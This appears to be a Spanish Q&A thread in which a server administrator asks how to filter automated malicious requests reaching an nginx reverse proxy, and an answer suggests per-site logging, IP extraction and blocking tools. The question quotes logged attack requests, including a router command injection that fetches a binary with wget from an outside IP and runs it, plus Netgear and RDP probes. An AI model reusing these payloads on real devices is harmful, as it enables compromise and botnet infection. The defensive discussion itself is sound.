Tengo un servidor web que aloja mis aplicaciones web abiertas a Internet. Cada aplicación web tiene su propio subdominio, por ejemplo, app1.mycompanydomain.com y app2.mycompanydomain.com . Todo el tráfico entrante llega a nginx , donde resuelve los nombres de host y envía las solicitudes al servidor web de la aplicación en la misma máquina virtual. Aquí está mi configuración:
server { listen 80; server_name _; return 444; } server { listen 80; server_name *.mycompanydomain.com; return 301 https://$host$request_uri; } server { listen 443 ssl; server_name _; ssl_certificate /opt/cert/cert.crt; ssl_certificate_key /opt/cert/cert.key; return 444; } server { server_name app1.mycompanydomain.com app1.mycompanydomain.com; listen 443 ssl; ssl_certificate /opt/cert/cert.crt; ssl_certificate_key /opt/cert/cert.key; location / { proxy_pass http://localhost:9081/; } } #Proxying for the rest of the applications look the same Los bloques en los que devuelvo el estado 444 http están destinados a filtrar las solicitudes maliciosas automatizadas que solíamos recibir en abundancia. El problema es que todavía recibimos una buena cantidad de este tipo de solicitudes. Estoy casi seguro de que la mayoría de estas solicitudes son enviadas por bots automáticos que no conocen los hosts de destino, pero por alguna razón no pudimos identificar un host de destino de estas solicitudes, por lo que realmente no podemos bloquearlas. Intentamos registrar $host , $http_host , $server_name pero todos estaban vacíos o _.
Por lo tanto 2 preguntas:
Ejemplo de tráfico malicioso que sigue llegando:
1. IP: 45.228.213.131 [28/feb/2020:03:32:25 -0500] solicitud: "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips %20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1", objetivo: _, código: 400, cuerpo : 166, agente: "botnet/2.0", tiempo: 0,000 ms
2. IP: 85.93.20.170 [27/feb/2020:16:29:24 -0500] solicitud: "\x03\x00\x00/ \xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administrar", objetivo: _, código: 400, cuerpo: 166, agente: "-", tiempo: 0,132 ms
3. IP: 31.208.166.61 [25/feb/2020:16:07:02 -0500] solicitud: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 HTTP/1.1 ", objetivo: _, código: 400, cuerpo: 166, agente: "Mozilla/5.0", tiempo: 0,000 ms
Me sorprende que nadie haya respondido esto todavía. Dado que la configuración que proporcionó, no veo que esté definiendo los archivos de registro por separado por aplicación que está alojando acceso externo, lo que debe hacer así:
access_log /var/log/nginx/website1_access.log; error_log /var/log/nginx/website1_error.log;Al separarlos, puede profundizar por FQDN, ya que cada sitio tendrá sus propios archivos de registro. Luego vea si hay algún patrón en los ataques y decida manejar de cierta manera a partir de ahí. Por ejemplo, grep para los 444 que ha configurado, luego use "cortar" para mostrar las IP, luego canalice en sort y luego en uniq y ahora tiene una lista de IP que puede negar o incluso bloquear en su firewall. El riesgo introducido es que si una de esas direcciones IP es de hecho una que debería estar accediendo al sitio pero atacándolo accidentalmente como la máquina de un cliente con un virus, ¿cómo manejará el bloqueo? Para evitar esto, recomendaría grepping sus archivos de registro para una cadena particular que pueda identificar como tráfico legítimo, luego corte/ordene/uniq esas IP como línea de base. Ahora busque esas direcciones IP en la lista de 444 y otros ataques y, si tiene una coincidencia, llévelos a la administración sobre sus hallazgos y déjelos decidir si quieren bloquearlos o mencionar el problema con ese usuario o cliente, ya que debe ser capaz de rastrear en su servidor de aplicaciones quién es el usuario haciendo coincidir las marcas de tiempo de los ataques contra el servidor NGINX. Primero haré una prueba de esto y veré cómo funciona durante un mes, luego, si no hay falsos positivos, entonces escribiré una automatización para verificar si hay IP ofensivas y luego las negaré en una configuración separada que puede incluir en su configuración de NGINX. Otra cosa para hacerlo más sensible a los ataques es que, por ejemplo, digamos que no usa php o cgi en ninguna de sus URL válidas, también puede buscarlas y aplicar lógica para bloquearlas automáticamente.
Aquí hay algunos proyectos que también ayudarán con la automatización: NGINX Honeypot & NGINX Bad Bot and Referrer Blocker